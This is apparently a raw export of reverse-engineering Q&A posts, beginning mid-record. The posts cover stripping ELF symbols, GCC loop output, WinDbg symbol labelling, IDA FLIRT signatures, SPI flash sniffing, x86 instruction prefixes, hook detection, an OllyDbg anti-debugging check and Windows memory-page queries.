$> sstrip ./crackme-sstriped\n$> objdump -tT ./crackme-sstriped \n\n./crackme-sstriped:     file format elf32-i386\n\nobjdump: ./crackme-sstriped: not a dynamic object\nSYMBOL TABLE:\nno symbols\n\nDYNAMIC SYMBOL TABLE:\nno symbols\n
\n\n

As you can notice, all symbols, including dynamic symbols have been removed. In fact, all the symbols pointing towards the PLT are removed and addresses are left as static addresses. Here is an example with the _start procedure preamble, first all the symbols:

\n\n
 0x8048390 <_start>:    xor    %ebp,%ebp\n 0x8048392 <_start+2>:  pop    %esi\n 0x8048393 <_start+3>:  mov    %esp,%ecx\n 0x8048395 <_start+5>:  and    $0xfffffff0,%esp\n 0x8048398 <_start+8>:  push   %eax\n 0x8048399 <_start+9>:  push   %esp\n 0x804839a <_start+10>: push   %edx\n 0x804839b <_start+11>: push   $0x80485e0\n 0x80483a0 <_start+16>: push   $0x8048570\n 0x80483a5 <_start+21>: push   %ecx\n 0x80483a6 <_start+22>: push   %esi\n 0x80483a7 <_start+23>: push   $0x8048490\n 0x80483ac <_start+28>: call   0x8048380 <__libc_start_main@plt>\n 0x80483b1 <_start+33>: hlt    \n
\n\n

And, then stripep:

\n\n
0x8048390:  xor    %ebp,%ebp\n0x8048392:  pop    %esi\n0x8048393:  mov    %esp,%ecx\n0x8048395:  and    $0xfffffff0,%esp\n0x8048398:  push   %eax\n0x8048399:  push   %esp\n0x804839a:  push   %edx\n0x804839b:  push   $0x80485e0\n0x80483a0:  push   $0x8048570\n0x80483a5:  push   %ecx\n0x80483a6:  push   %esi\n0x80483a7:  push   $0x8048490\n0x80483ac:  call   0x8048380 <__libc_start_main@plt>\n0x80483b1:  hlt    \n
\n\n

And, finally, the sstrip version:

\n\n
0x8048390:  xor    %ebp,%ebp\n0x8048392:  pop    %esi\n0x8048393:  mov    %esp,%ecx\n0x8048395:  and    $0xfffffff0,%esp\n0x8048398:  push   %eax\n0x8048399:  push   %esp\n0x804839a:  push   %edx\n0x804839b:  push   $0x80485e0\n0x80483a0:  push   $0x8048570\n0x80483a5:  push   %ecx\n0x80483a6:  push   %esi\n0x80483a7:  push   $0x8048490\n0x80483ac:  call   0x8048380\n0x80483b1:  hlt    \n
\n\n

Surprisingly the executable is still functional. Let's compare what ELF headers are left after strip and sstrip (as suggested Igor). First, after a strip:

\n\n
$> readelf -l crackme-striped \n\nElf file type is EXEC (Executable file)\nEntry point 0x8048390\nThere are 8 program headers, starting at offset 52\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 RWE 0x4\n  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 RWE 0x1\n      [Requesting program interpreter: /lib/ld-linux.so.2]\n  LOAD           0x000000 0x08048000 0x08048000 0x006b4 0x006b4 RWE 0x1000\n  LOAD           0x0006b4 0x080496b4 0x080496b4 0x00124 0x00128 RWE 0x1000\n  DYNAMIC        0x0006c0 0x080496c0 0x080496c0 0x000e8 0x000e8 RWE 0x4\n  NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 RWE 0x4\n  GNU_EH_FRAME   0x000600 0x08048600 0x08048600 0x00024 0x00024 RWE 0x4\n  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10\n\n Section to Segment mapping:\n   Segment Sections...\n   00     \n   01     .interp \n   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame \n   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss \n   04     .dynamic \n   05     .note.ABI-tag .note.gnu.build-id \n   06     .eh_frame_hdr \n   07     \n
\n\n

And, then the version that went through with sstrip:

\n\n
$> readelf -l ./crackme-sstriped \n\nElf file type is EXEC (Executable file)\nEntry point 0x8048390\nThere are 8 program headers, starting at offset 52\n\nProgram Headers:\n  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align\n  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 RWE 0x4\n  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 RWE 0x1\n      [Requesting program interpreter: /lib/ld-linux.so.2]\n  LOAD           0x000000 0x08048000 0x08048000 0x006b4 0x006b4 RWE 0x1000\n  LOAD           0x0006b4 0x080496b4 0x080496b4 0x00124 0x00128 RWE 0x1000\n  DYNAMIC        0x0006c0 0x080496c0 0x080496c0 0x000e8 0x000e8 RWE 0x4\n  NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 RWE 0x4\n  GNU_EH_FRAME   0x000600 0x08048600 0x08048600 0x00024 0x00024 RWE 0x4\n  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10\n
\n\n

As you can see, the name of the sections have also been removed (as announced in README file).

\n\n

Note that, applying sstrip on an executable that went through upx render the final executable unusable (I tried).

\n" }, { "Id": "3845", "CreationDate": "2014-03-11T01:16:10.523", "Body": "

I have been looking at some simple C code and the different output from GCC using different optimization levels.

\n\n

C code

\n\n
#include <stdio.h>\n\nint main() {\n    int i = 0;\n\n    while(i<10) {\n            printf(\"Hello\\n\");\n            i++;\n    }\n\n    i = 0;\n\n    while(i<10) {\n            printf(\"i: %d\\n\", i);\n            i++;\n    }\n
\n\n

}

\n\n

When I compile the code using -Os or -O2 the first loop works a bit differently. It it decrements instead of incrementing, and it is in two different ways. I am wondering why it decrements instead of incrementing like in the code, and the the small difference between -Os and -O2.

\n\n

-Os compiled

\n\n
0x400486 <main+6>       mov     edi,0x40068c\n0x40048b <main+11>      call    0x400450 <puts@plt>\n0x400490 <main+16>      dec     ebx\n0x400492 <main+18>      jne     0x400486 <main+6>\n
\n\n

-O2 compiled

\n\n
0x400490 <main+16>      mov    edi,0x40069c\n0x400495 <main+21>      call   0x400450 <puts@plt>\n0x40049a <main+26>      sub    ebx,0x1\n0x40049d <main+29>      jne    0x400490 <main+16> \n
\n", "Title": "GCC Loop optimization", "Tags": "|disassembly|", "Answer": "

Because I can't comment, I'll try to fix some inaccuracies in pnak4j's answer.

\n\n

dec ebx is really a 1-byte instruction (I don't know why it appears to be 2-bytes). DEC sets the ZF flag accordingly to the result of (ebx-1) when: zero or not zero. Then, JNE does the jump if not zero (JNE/JNZ are the same). JMP is not a conditional jump, therefore it would not make much sense after CMP/TEST.

\n" }, { "Id": "3850", "CreationDate": "2014-03-11T10:45:24.523", "Body": "

When I have a kernel module without symbols, I'd typically first open it in IDA and give names to some of the subroutines (those I'm interested in).

\n\n

Since I prefer my kernel debugging with plain WinDbg (and not the IDA-integrated WinDbg), I'd like WinDbg to recognize the names IDA (and me) gave to those addresses. That way, a) I could break on those functions by name, change variables by name, and b) WinDbg's output and views would read better (in stack traces etc.).

\n\n

Unfortunately, IDA has no \"create PDB\" feature, and I don't even see a non-PDB way of importing addresses into WinDbg.

\n\n

Ideas, anyone?

\n", "Title": "Importing list of functions and addresses into WinDbg", "Tags": "|ida|windbg|symbols|", "Answer": "

since this has nothing to do with original query and
\nis an experiment of sorts with the labeller windbg extension that i edited in in my first answer
\ni am adding this as a new answer and not editing my original answer
\nsince the question of performance of AddSyntheticSymbol for bulk Addition Came up i cooked up a small 6 figure long windbg script file that i could use to test the performance

\n

it appears there is a logarithmic increase in the time required to add symbols
\nif windbg could add 500 symbols in 11 seconds on the first round
\nit would take 13 seconds for next 500 and
\n16 seconds for the third round of 500 symbols
\ni cut off the test when i added the 20 th round of symbols it took about 50 seconds to load the symbols 9500 to 10000

\n

here is the small python script to cook up a windbg scriptfile

\n
buff = []\nj=0\nk=1\nfor i in range(0,100000,1):\n    j=j+1\n    buff.append("!label str_%s %08x 1 xul\\n" % ( str(i).rjust(8,'0') , i ) )\n    if(j == 500):\n        buff.append("%s %d symbols added\\n" % (".echotime;.echo ",j*k))\n        j = 0\n        k = k+1\nwith open ("lab100k.txt","w") as txt:\n    txt.writelines(buff) \n
\n

this creates a file with 100200 windbg commands that uses !label extcmd

\n
wc -l lab100k.txt\n100200 lab100k.txt\n\ngrep -c echotime lab100k.txt\n200\n\ntail -n 3 lab100k.txt\n!label str_00099998 0001869e 1 xul\n!label str_00099999 0001869f 1 xul\n.echotime;.echo  100000 symbols added\n
\n

loaded the label extension and executed this windbg script and cut it off after labelling 10000 address the timeframe isas follows

\n
0:021> $$>a< lab100k.txt\nDebugger (not debuggee) time: Tue Sep 22 23:58:52.053 2020 \n500 symbols added\nDebugger (not debuggee) time: Tue Sep 22 23:59:03.468 2020 \n1000 symbols added\nDebugger (not debuggee) time: Tue Sep 22 23:59:16.983 2020 \n1500 symbols added\nDebugger (not debuggee) time: Tue Sep 22 23:59:32.546 2020 \n2000 symbols added\nDebugger (not debuggee) time: Tue Sep 22 23:59:50.225 2020 \n2500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:00:10.133 2020 \n3000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:00:32.502 2020 \n3500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:00:57.303 2020 \n4000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:01:23.955 2020 \n4500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:01:52.593 2020 \n5000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:02:22.930 2020 \n5500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:02:55.546 2020 \n6000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:03:30.068 2020 \n6500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:04:06.521 2020 \n7000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:04:45.134 2020 \n7500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:05:25.709 2020 \n8000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:06:08.456 2020 \n8500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:06:53.301 2020 \n9000 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:07:40.663 2020 \n9500 symbols added\nDebugger (not debuggee) time: Wed Sep 23 00:08:29.967 2020 \n10000 symbols added\n
\n

the result of symbols are as follows

\n
0:021> x xul!str_000100*\n50462710          xul!str_00010000 = <no type information>\n50462711          xul!str_00010001 = <no type information>\n50462712          xul!str_00010002 = <no type information>\n50462713          xul!str_00010003 = <no type information>\n50462714          xul!str_00010004 = <no type information>\n50462715          xul!str_00010005 = <no type information>\n50462716          xul!str_00010006 = <no type information>\n50462717          xul!str_00010007 = <no type information>\n50462718          xul!str_00010008 = <no type information>\n50462719          xul!str_00010009 = <no type information>\n5046271a          xul!str_00010010 = <no type information>\n5046271b          xul!str_00010011 = <no type information>\n5046271c          xul!str_00010012 = <no type information>\n5046271d          xul!str_00010013 = <no type information>\n5046271e          xul!str_00010014 = <no type information>\n5046271f          xul!str_00010015 = <no type information>\n50462720          xul!str_00010016 = <no type information>\n50462721          xul!str_00010017 = <no type information>\n50462722          xul!str_00010018 = <no type information>\n50462723          xul!str_00010019 = <no type information>\n50462724          xul!str_00010020 = <no type information>\n50462725          xul!str_00010021 = <no type information>\n50462726          xul!str_00010022 = <no type information>\n50462727          xul!str_00010023 = <no type information>\n50462728          xul!str_00010024 = <no type information>\n50462729          xul!str_00010025 = <no type information>\n5046272a          xul!str_00010026 = <no type information>\n5046272b          xul!str_00010027 = <no type information>\n5046272c          xul!str_00010028 = <no type information>\n
\n" }, { "Id": "3854", "CreationDate": "2014-03-12T01:35:57.983", "Body": "

In tracing how the recv function works on Windows, I observe the following trace:

\n\n
...\n0x743817d2  push eax                      C:\\windows\\system32\\WSOCK32.dll recv                     \n0x743817d3  push dword ptr [ebp+0x8]      C:\\windows\\system32\\WSOCK32.dll recv                     \n0x743817d6  call 0x7438193e               C:\\windows\\system32\\WSOCK32.dll recv                     \n0x7438193e  jmp dword ptr [0x74381000]    C:\\windows\\system32\\WSOCK32.dll setsockopt               \n0x77287089  mov edi, edi                  C:\\windows\\syswow64\\WS2_32.dll  WSARecv                  \n0x7728708b  push ebp                      C:\\windows\\syswow64\\WS2_32.dll  WSARecv                  \n0x7728708c  mov ebp, esp                  C:\\windows\\syswow64\\WS2_32.dll  WSARecv  \n...\n
\n\n

Unfortunately, once again I found it quite strange. First, there is a direct call:

\n\n
call 0x7438193e\n
\n\n

inside recv. I still do not understand why that works: since the WSOCK32.dll (containing recv) will be loaded \"arbitrarily\" in the user-space, how does recv guarantee that the setsockopt locates at this address?.

\n\n

Second, I see nowhere in the application (here it is wget) can modify the memory at 0x74381000 (that is the target of jmp inside setsockopt), so normally the value at this address is always 0x77287089 and that means recv calls always WSARecv(!!!). I doubt that is not true because there is no official document (i.e. MSDN) saying that.

\n\n

Many thanks for any consideration.

\n", "Title": "Directed call inside recv", "Tags": "|binary-analysis|debugging|", "Answer": "
\n

how does recv know that the setsockopt locates at this address?

\n
\n\n

The relative virtual address of the function setsockopt is in WSOCK32.dll's Export Table, so your disassembler/debugger was smart enough to match the virtual address 0x74381000 to the relative virtual address of setsockopt.

\n\n
\n

\"recv calls always WSARecv\"

\n
\n\n

That's correct; in Winsock, recv is a wrapper around WSARecv.

\n" }, { "Id": "3856", "CreationDate": "2014-03-12T08:51:01.533", "Body": "

IDA startup signatures are sets of signatures used in FLIRT to detect what library is used in a static linked executable .
\nI am about to use these signatures to detect which library is used in an executable file .\n
I must use pattern files in IDA FLAIR in startup folder .
but i don't know it's format and what does each field mean (:?)
\nhere are a few sample pattern :

\n
1)8BFF558BECE8........E8........5DC3.............................. 00 0000 0011 :0000 s=A/- ^0006 ___security_init_cookie ^000B ___tmainCRTStartup\n2)6A0C68........E8........8BF98BF28B5D0833C0408945E485F6750C3915.. 00 0000 00F6 :0000 o=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+67^[_DllMain@12]~msmfc2d/~@vc32mfc@; :00E4@ $LN18 :00E3@ $LN25 :00D3@ $LN29 :00D3@ $LN17 ^0003 __sehtable$___DllMainCRTStartup ^0008 __SEH_prolog4 ^001F ___proc_attached ^0037 __pRawDllMain ^0055 __CRT_INIT@12 ^0068 _DllMain@12 ^00DD ___CppXcptFilter ^00F1 __SEH_epilog4 ......0F84C50000008365FC003BF0740583FE02752EA1........85C07408575653FFD08945E4837DE4000F8496000000575653E8........8945E485C00F8483000000575653E8........8945E483FE01752485C07520575053E8........576A0053E8........A1........85C07406576A0053FFD085F6740583FE037526575653E8........85C075032145E4837DE4007411A1........85C07408575653FFD08945E4C745FCFEFFFFFF8B45E4EB1D8B45EC8B088B095051E8........5959C38B65E8C745FCFEFFFFFF33C0E8........C3\n
\n

i could 't find any relevant content on the internet.\ncan any body help me about the format?\n
\nMore about my need:\n
\nI want to find library functions in PE files (on my own program not by IDA) and ,as there are a huge amount of FLAIR pattern for all libraries , I cannot load them altogether because of memory and speed issues .
\nI have also read pat.txt in IDA FLAIR and i know the patterns format but startup signatures format is a bit different and has new parts so I want to know about these new parts like :\n\no=2:a=108:vc32rtf:l=vc32mfc/vcextra/vc8atl:m=+67^[_DllMain@12]~msmfc2d/~@vc32mfc@;\n

\n", "Title": "IDA startup signatures format", "Tags": "|ida|", "Answer": "

First, you should begin by reading through pat.txt which is included with the IDA flair utilities. It describes the format of .pat files.

\n\n

Second it would be helpful if you can clarify what you are trying to do. What processor/file type are you working with? In many cases you do not need to directly manipulate .pat files at all since Hex-Rays provides tools to generate .pat files and .sig files from those .pat files.

\n\n

Third, it is not clear exactly what type of signatures you are trying to work with and why. IDA \"startup\" signatures are a special form of signature used the when you first create a database for a new binary file. The purpose of startup signatures is to identify startup routines and the compiler used to create the binary. This may in turn trigger the loading of additional library signature files. Library signature files are the ones used to recognize the presence of library code that has been statically linked into a binary. Signatures are usually generated by parsing a copy of the static link libraries that were linked into the binary you are interested in. The most common case for needing to understand the .pat file format is when the parsers that Hex-Rays ships with flair are not capable of parsing the link libraries that you are trying to create patterns from.

\n\n

This link may also be useful: Hex-Rays FLIRT

\n" }, { "Id": "3859", "CreationDate": "2014-03-12T21:15:15.260", "Body": "

I'm looking to define a structure in IDA like:

\n\n
struct StructA {\n    int a;\n    int b;\n} StructA;\n\nstruct StructB {\n    StructA a;\n    int b;\n} StructB;\n
\n\n

Can I do this in IDA's structure definition box without having to redefine all the members from StructA in StructB?

\n", "Title": "When defining a structure in IDA, can I define a field that is of another struct type?", "Tags": "|ida|struct|", "Answer": "

Yes. In StructB, select the field you want to convert to a sub-structure or create a new field by pressing D. With the given field selected, press Alt+Q and select StructA for the field.

\n" }, { "Id": "3863", "CreationDate": "2014-03-13T06:15:19.727", "Body": "

I am looking at a SPI EEPROM chip on board which is unfortunately hidden under an epoxy blob. However, I was able to determine the pinout thanks to the silkscreen.

\n\n

Dumping the EEPROM with a Bus Pirate, I figured that the EEPROM is 16K since the dumped data seems to repeat every 0x4000 bytes.

\n\n

I hooked up a logic analyzer to the pins and monitored communication with the EEPROM while the device booted. The sniffed communication looks very much like SPI (as it should), however there is a slight discrepancy from the spec I haven't figured out yet.

\n\n

I've screenshotted three examples of what seems to be a READ operation:

\n\n

\"Screenshot\n\"Screenshot\n\"Screenshot

\n\n

The first byte is 0x03 (READ), followed by three bytes, and a two-byte response on MISO. According to the SPI protocol, a READ opcode should be immediately followed by a two-byte address. Then, data is returned from that address.

\n\n

However, three bytes follow the READ opcode, not two. Looking at each example, the first byte always seems to be 0x00. The next two bytes may conceivably be the address.

\n\n

My questions boil down to:

\n\n\n", "Title": "Potentially non-standard SPI communication", "Tags": "|hardware|spi|", "Answer": "

There is no SPI specification that dictates things like read codes or address lengths, AFAIK; these are chip-specific and have been generally standardized by vendors of SPI EEPROMs and flash chips (though I\"m not aware of any formal agreement among vendors).

\n\n

Most SPI EEPROMs use two bytes to specify the read address, because they are so small that they only need two bytes to address all of the memory on the chip. Most SPI flash chips are larger and use three bytes (they also use the same READ and WRITE codes that SPI EEPROMs do).

\n\n

So what you are seeing appears to be valid; if I had to guess, I'd say that the chip under the epoxy is an SPI flash chip rather than an EEPROM, but from the standpoint of reading the data from the chip there's little difference, besides the length of the address.

\n\n

This does not explain why your data appears to be repeating every 0x4000 bytes though. One thing you can try is the RDID command (0x9F) that is implemented by most SPI flash chips (though not EEPROMs to my knowledge). This should return a 3-byte value identifying the manufacturer ID, the device ID and the memory density (aka, the size of the chip). Here is a datasheet from a typical SPI flash chip which provides more detail on the typical RDID implementation.

\n\n

If this is an SPI flash chip, I would expect the RDID command to work, and you'll know for sure what the size of the chip is; if it doesn't work, then I would venture to guess that this is an EEPROM chip whose vendor decided (for whatever reason) to use 3-byte addresses instead of 2.

\n" }, { "Id": "3866", "CreationDate": "2014-03-13T21:18:31.593", "Body": "

I'm in the IDA View-A within a subroutine. I've identified the subroutine, and now I want to navigate to the subroutine in the functions window so that I can jump around some of the other subroutines in the vicinity rather quickly.

\n\n

I know that I can search the functions window with Alt + T, but I was wondering if there was a shortcut to automatically jump to the currently selected subroutine.

\n\n

There are more than 200,000 subroutines in the functions window, so searching is slow.

\n\n

Is it possible to navigate directly to the current subroutine, or to navigate directly to a subroutine based on address? If so, how?

\n", "Title": "Is it possible/How can I select in the functions window the current subroutine in the IDA View?", "Tags": "|ida|", "Answer": "

Try ctrl-P it will take you to the \"Choose function to jump to\" window which sounds like what you want.

\n" }, { "Id": "3872", "CreationDate": "2014-03-14T20:19:20.423", "Body": "

I created a simple Cocoa app (Mac 64bit) in Xcode, and in it I created a string object, and then outputted the contents of the string in a NSLog statement.

\n

\"enter

\n

Then I decided to see if I could modify the contents of the binary (exe) in the .app directory of the application. I used 0xED to change, This is my string. to This is my new string. I did this by typing the word new in the right portion of the 0xED editor.

\n

\"enter

\n

Finally, I saved the file, then tried to launch it, but it appears to crash. The crash report appears somewhat cryptic to me, so I am not exactly sure why the app is crashing.

\n", "Title": "Editing a Mach-O x86_64 binary with 0xED results in a app crash", "Tags": "|mach-o|patch-reversing|", "Answer": "

Code before This is my string relies on addresses/offsets of data (and possibly code) after This is my string. When you insert the string new, you're effectively shifting the code/data after This is my string to the right by 4 bytes. When code before This is my string tries to access that content, it access the wrong content since the location has been shifted.

\n" }, { "Id": "3876", "CreationDate": "2014-03-15T09:34:50.660", "Body": "

How do I list all destinations from relative jump instructions (e.g. the jmpr instruction) in IDA?

\n", "Title": "List Relative Jump Destinations in IDA", "Tags": "|ida|", "Answer": "

With your cursor on the given instruction, press Shift+F2 to bring up the IDC window, paste the following script into the script body pane, and press the Run button in the dialog window.

\n\n
auto x = Rfirst0(ScreenEA());\nwhile (x != BADADDR)\n{\n    Message(\"0x%08X\\n\", x);\n    x = Rnext0(ScreenEA(), x);\n}\n
\n" }, { "Id": "3879", "CreationDate": "2014-03-15T20:21:10.273", "Body": "

Olly, specifically, will only accept the last prefix it finds if there are more than one from the same group. For example

\n\n
lock rep add dword ptr[eax],eax    ; f0 f3 01 00\n
\n\n

becomes

\n\n
???                           ; f0                 \nrep add dword ptr[eax],eax    ; f3 01 00\n
\n\n

Page 28 of the Intel architecture manual simply states \"it is only useful to include up to one prefix code from each of the four groups ...\" but no where does it say it's required to only have, at most, one from each group. Yes, there are cases where some of the prefixes are required, must not be present, or are only valid depending on the instruction, but I'm not referring to any of those scenarios.

\n\n

I'm choosing to interpret Intel's guidance as meaning \"it's valid but there aren't many reasons to do it\" and I'll continue to leave the prefix listed with the instruction (again, barring any specific rules that say otherwise.)

\n\n

Is this the correct way to handle the situation or should I be doing something different?

\n", "Title": "What is the proper way to deal with an x86/64 instruction containing multiple prefixes from the same group?", "Tags": "|disassembly|x86|x86-64|", "Answer": "

The general rule of thumb is that every prefix is applied in sequence. For example, two 66 prefixes cancel each other, and 66 66 66 is the same as single 66.

\n\n

EDIT: it seems I was wrong, and repeated prefixes are ignored.

\n\n

The situation becomes somewhat muddled for SSE instructions where some prefixes are mandatory and some are optional, and their order may matter. For example, if both F2 and F3 are used with an SSE instruction, then the last one \"wins\", and 66 is ignored if other prefixes are present (except for a few instructions like CRC32).

\n\n
66 f3 f2 0f 59 ff     ; mulsd xmm7, xmm7\n66 f2 f3 0f 59 ff     ; mulss xmm7, xmm7\n66 0f 59 ff           ; mulpd xmm7, xmm7\nf2 66 0f 59 ff        ; mulsd xmm7, xmm7\n
\n\n

In general, docs don't describe the corner cases very well. So the best thing to do is to put some bytes into a file, run it on the actual CPU, and observe what happens.

\n" }, { "Id": "3882", "CreationDate": "2014-03-15T23:30:27.723", "Body": "

One of the many features of Kernel Detective is the possibility to retrieve the original addresses of the native apis functions implemented in the driver win32k.sys and checking if they are hooked. What are the possible ways to achieve the same ?

\n", "Title": "How does Kernel Detective check if API functions are hooked?", "Tags": "|kernel-mode|", "Answer": "

I think you should read from original file (exe, dll) of exported API function and compare with the data in the loading memory. To avoid the fake result in which the read API functions are also hooked, you should use some tricks to get the original read API function from memory.

\n\n

Hope this help!

\n" }, { "Id": "3886", "CreationDate": "2014-03-17T02:52:04.340", "Body": "

I have a web application written in JSP running on a tomcat 6 server that I want to RE. I've decompiled the .jars associated with the web application. The source code is heavily obfuscated, making it very time consuming to understand the execution flow. Since I'm under a time constraint reverse engineering this way isn't feasible.

\n\n

Is there a way to force the JVM to log all method calls with parameters? \nCan this be done through a profiler such as VisualVM?

\n", "Title": "Reverse engineering close sourced JSP applets", "Tags": "|debugging|dynamic-analysis|java|", "Answer": "

Well the good news is that it's barely been obfuscated. I don't see any string encryption, which is the one thing that every single commercial obfuscator does. The only thing I see is basic class/method renaming. Most likely they just ran it through Proguard.

\n\n

The bad news is that even with weak obfuscation, it's still a pain to read through. (Heck, with a large codebase it's often a pain just to read through the original commented source code!) But there's not much you can do except slog through it. Coming up with meaningful names to rename everything is obviously not something that can be done automatically. This is where the human traditionally steps in.

\n\n

If they happen to have included an open source library in the renamed part, you can match it up and automatically rename all those parts back to the original, but I don't see any signs of this.

\n\n

Ultimately, it's just a matter of reverse engineering. At least you're a lot better off than with x86 reverse engineering.

\n" }, { "Id": "3889", "CreationDate": "2014-03-17T16:36:44.183", "Body": "

I have a binary file (actually, an operating system for an ARM embedded device which also contains some high-level apps (hard coded in the user interface)).

\n\n

I know some parts of the operating system are from C++ code, so it is likely the binary contains the C++ STL.

\n\n

However, I don't know much about the STL.

\n\n

Would you have a method to find the address of the STL functions?\n(the basic method of searching for the \"map\", \"vector\", ... string was unsuccessful and I don't know any specific feature I could search for in this case)

\n\n

Is there some kind of signature for the STL functions?

\n\n

Thanks!

\n\n

Additional informations: I use IDA. I can run the OS with a GDB. I know the address of much of the standard C functions (ctype/stddio/...).

\n", "Title": "Find the C++ STL functions in a binary", "Tags": "|ida|binary-analysis|c++|arm|operating-systems|", "Answer": "

Libraries like STL or Boost are tricky. Because they're heavily template-based and most of their code is generated at compile time, it's pretty difficult to make FLIRT-style signatures for them. Too much depends on the specific compiler, build options, optimization settings and so on, so unless you match them pretty closely when generating signatures, you're unlikely to get many good hits.

\n\n

However, you may be able to find some signs of them. For example, the typical std::string implementation in some cases throws exceptions length_error or out_of_range. You might be able to find references to the error text or the exception names. Other than that I think there's not much you can look for besides recognizing a specific implementation from the actual code.

\n\n

However, since you mention it's an RTOS, I highly doubt it's using STL. In an OS, any non-deterministic behavior is a bad thing, and with STL you can get an exception basically at any time. They may use some limited C++ for better encapsulation but any high-level classes are likely to be custom-made and not from STL or Boost.

\n" }, { "Id": "3891", "CreationDate": "2014-03-17T19:11:51.150", "Body": "

If I have an unknown file format and

\n\n\n\n

is it then guaranteed that someone can reverse engineer the file format?

\n", "Title": "Is it guaranteed that someone can reverse engineer this file format?", "Tags": "|file-format|", "Answer": "

It's guaranteed that given enough time and resources anything can be reverse engineered.

\n" }, { "Id": "3895", "CreationDate": "2014-03-18T13:32:35.357", "Body": "

I'm running a 64-bit MS Windows 7 with all updates installed. About 1 or 2 weeks ago I've noticed that whenever I restart the OS, the virtual memory pages (of whatever process), corresponding to system libraries like ntdll.dll and kernel32.dll are slightly different.

\n\n

I'm not talking about the base address of the loaded modules, because I know that changes due to ASLR. I'm talking about the actual contents of the loaded modules, which as far as I know was not affected by ASLR implementations on Windows.

\n\n

To illustrate what I mean, let me show you the following screenshot that compares 2 binary instances of ntdll.dll captured before (top-half) and after (bottom-halt) one OS restart:\n\"enter

\n\n

The picture shows just a small part of ntdll.dll and therefore just a few differences. However, there are more. The size of these DLLs don't change, only some bytes at particular locations.

\n\n

I obtained the 2 binary instances which are compared in the previous picture using Process Hacker like so:

\n\n\n\n

Question 1: What is causing these bytes to change?

\n\n\n\n

Question 2: What do these changing bytes represent in the code of the DLLs?

\n", "Title": "What changes in MS Windows system libraries after restart?", "Tags": "|windows|dll|", "Answer": "

What you see is offsets modified to reflect a changed base address. Anything that's not relative to the base (be it global variables or calls or whatever) needs to be adjusted if the image base changes.

\n\n

PE files can have a relocation table for that. Can, as in standard .exe files usually don't have it, as it was not necessary until ASLR (random base addresses for modules) came along.

\n\n

For DLLs the base address is likely to change as it depends on what other files are already loaded so they almost always have a base relocation table that says \"If the base address differs from XYZ, add the delta to the following locations\".

\n\n

If you are curios how that base relocation table looks like, I'll recommend checking out the following:

\n\n\n" }, { "Id": "3907", "CreationDate": "2014-03-19T12:16:30.563", "Body": "

While playing around with FPU instructions I discovered an anti-debugging trick for\nOllyDbg. I haven't found it in popular references so far.

\n\n

First of all here it is.

\n\n
fnsave [esp-100h]\ncmp word ptr [esp-0EEh], 07FFh      ; 07FFh (all bits set) in Olly 2\n                                    ; 0000h in Olly 1\n                                    ; something different otherwise\nje @being_debugged\n
\n\n

The code fragment checks the \"Last Instruction Opcode\" at +0x12. According to Intel manuals it's set if and only if an exception occured.

\n\n

The value is set only once, it doesn't work when restarting (<<) the program.

\n\n

But I don't know where the values come from. When Olly calls GetThreadContext() of debuggee, the value is already set. Other debuggers does not seem to behave like this.

\n\n

Can anyone confirm this? Tested on Win XP SP3, Intel P4.

\n", "Title": "OllyDbg FPU anti-debug", "Tags": "|ollydbg|anti-debugging|", "Answer": "

Last Instruction Opcode is set mainly for the use of exception handlers, but it's set for every non-control FPU instruction (that is, set by loads, stores, compares, etc).

\n\n

The value is non-zero on my system, but it is different value, and it's not constant.

\n\n

Olly 1 doesn't request as many context fields as Olly 2 does, and that's part of the reason why the values are different. The context structure initialization leaves some fields unassigned. It's not specific to Olly that some of the bits are set. Also note that the value of (0xd800+)0x7ff does not decode to any meaningful instruction.

\n\n

In short, not a reliable detection method.

\n" }, { "Id": "3909", "CreationDate": "2014-03-19T14:29:36.547", "Body": "

If a binary file is open with ROM starting at 0x10A000, how do I easily change the ROM starting address of the file to 0x109000? I always had to restart IDA to do it. I also tried to \"rebase the program using shift delta\" but I don't know how to use a negative shift delta, plus it's not automated.

\n", "Title": "Rebase program with negative shift delta in IDA", "Tags": "|ida|", "Answer": "

Look in IDA menu:

\n\n

Edit->Segments->Rebase program.

\n" }, { "Id": "3915", "CreationDate": "2014-03-19T18:05:42.550", "Body": "

I've been looking for any Windows functions to view or dump memory, or the process to do this manually. I can not find info on this anywhere online.

\n\n

How would I get a dump of a process's memory like the one in Olly's memory window?

\n\n

Edit for clarification:

\n\n

I wanted to be able to retrieve an address's base page address. The memory map was the best relation I had to this, as it gives page info such as size, starting address, permissions, etc. VirtualQueryEx() solved the problem.

\n\n

I ended up iterating through the pages until I found one in which my target address fell.

\n\n

I tend to ask for what I think would be the solution rather than laying out my problem and taking suggestions.

\n\n

Thank you all for the help.

\n\n
// Iterate through pages\nfor(base = NULL; \n    WINDOWS::VirtualQuery(base, info, sizeof(*info)) == sizeof(*info); \n    base += info->RegionSize) {\n\n    if(p > base && p < base + info->RegionSize) {\n        found = true;\n        break;\n    }\n}\n
